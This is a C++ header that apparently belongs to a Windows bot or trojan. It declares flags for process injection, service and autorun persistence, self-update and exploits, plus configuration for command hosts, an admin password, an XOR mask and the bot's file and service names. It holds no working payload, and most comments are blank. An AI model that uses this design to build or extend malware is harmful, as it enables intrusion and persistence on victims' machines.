#pragma once

#include "core\core.h"
#include "config.h"

//   state
const int NOT_DIRECT_INJECT = 0x0001; //     
const int NOT_USED_INJECT = 0x0002; //  
const int NOT_INSTALL_SERVICE = 0x0004; //   
const int NOT_INSTALL_AUTORUN = 0x0008; //   
const int EXTERN_NAME_MANAGER = 0x0010; //     ,    Config::nameManager
const int IS_DLL = 0x0020; //  
const int IS_SERVICE = 0x0040; //  
const int RUNNED_DUBLICATION = 0x0080; // 2- 
const int SPLOYTY_OFF = 0x0100; //  
const int RUNNED_UPDATE = 0x0200; //    
const int CHECK_DUPLICATION = 0x0400; //    (2-     )
const int PLUGINS_SERVER = 0x0800; //    ( )

namespace Config
{

extern char PeriodConnect[MaxSizePeriodConnect];
extern char Hosts[MaxSizeHostAdmin];
extern char Password[MaxSizePasswordAdmin];

extern char UID[32];
extern char XorMask[32];
extern int waitPeriod; //      

extern char fileNameBot[MAX_PATH]; //   ,       (    )
extern char nameService[64]; // ,    

extern uint state; //  

bool Init();

StringBuilder& NameBotExe( StringBuilder& name );
StringBuilder& FullNameBotExe( StringBuilder& path );

bool CreateMutex();
void ReleaseMutex();
//       ,  path     
//  addFolder,       ( ,   ).
//cryptAddFolder = true,  addFolder 
bool GetBotFolder( StringBuilder& path, const char* addFolder = 0, bool cryptAddFolder = false );

}

// 
bool StartBot();